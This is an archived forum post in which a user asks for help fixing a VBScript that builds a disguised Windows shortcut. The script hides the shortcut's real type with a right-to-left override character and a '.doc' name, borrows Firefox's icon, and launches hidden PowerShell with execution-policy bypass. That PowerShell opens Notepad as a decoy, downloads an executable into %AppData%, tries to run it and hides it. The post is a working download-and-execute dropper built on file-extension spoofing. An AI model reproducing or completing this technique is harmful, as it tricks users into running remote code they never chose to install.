cloudserver Posted February 9, 2020 Posted February 9, 2020 I in situation where I am trying to make a shortcut file that download putty.exe into %appdata% directory and also execute the downloaded file in windows but the active script below just downloads putty.exe into %appdata% directory without executing the setupfile downloaded into %appdata%. Dim DownLoadLink, FileName DownLoadLink = "'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe'" FileName = "'%AppData%\putty.exe'" Set WshShell = CreateObject("WScript.Shell") Set ShApp = CreateObject("Shell.Application") DesktopPath = ShApp.Namespace(0).Self.Path unicode = Unescape("%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b") unicodeName = "unicode.lnk" shortcutPath = DesktopPath & "\" & unicodeName Set lnk = WshShell.CreateShortcut(shortcutPath) lnk.TargetPath = "powershell.exe" lnk.Arguments = "-ExecutionPolicy Bypass -WindowStyle Hidden -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile(" & DownLoadLink & "," & FileName & ");./" & Filename & ";(get-item " & Filename & ").Attributes += 'Hidden';" lnk.IconLocation = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" lnk.Description = "Type: Shortcut File" lnk.Save() Set FSO = CreateObject("Scripting.FileSystemObject") Set file = FSO.GetFile(shortcutPath) file.name = unicode & ".doc" Any prossible solution this problem will be appreciated. Thanks
Recommended Posts
Archived
This topic is now archived and is closed to further replies.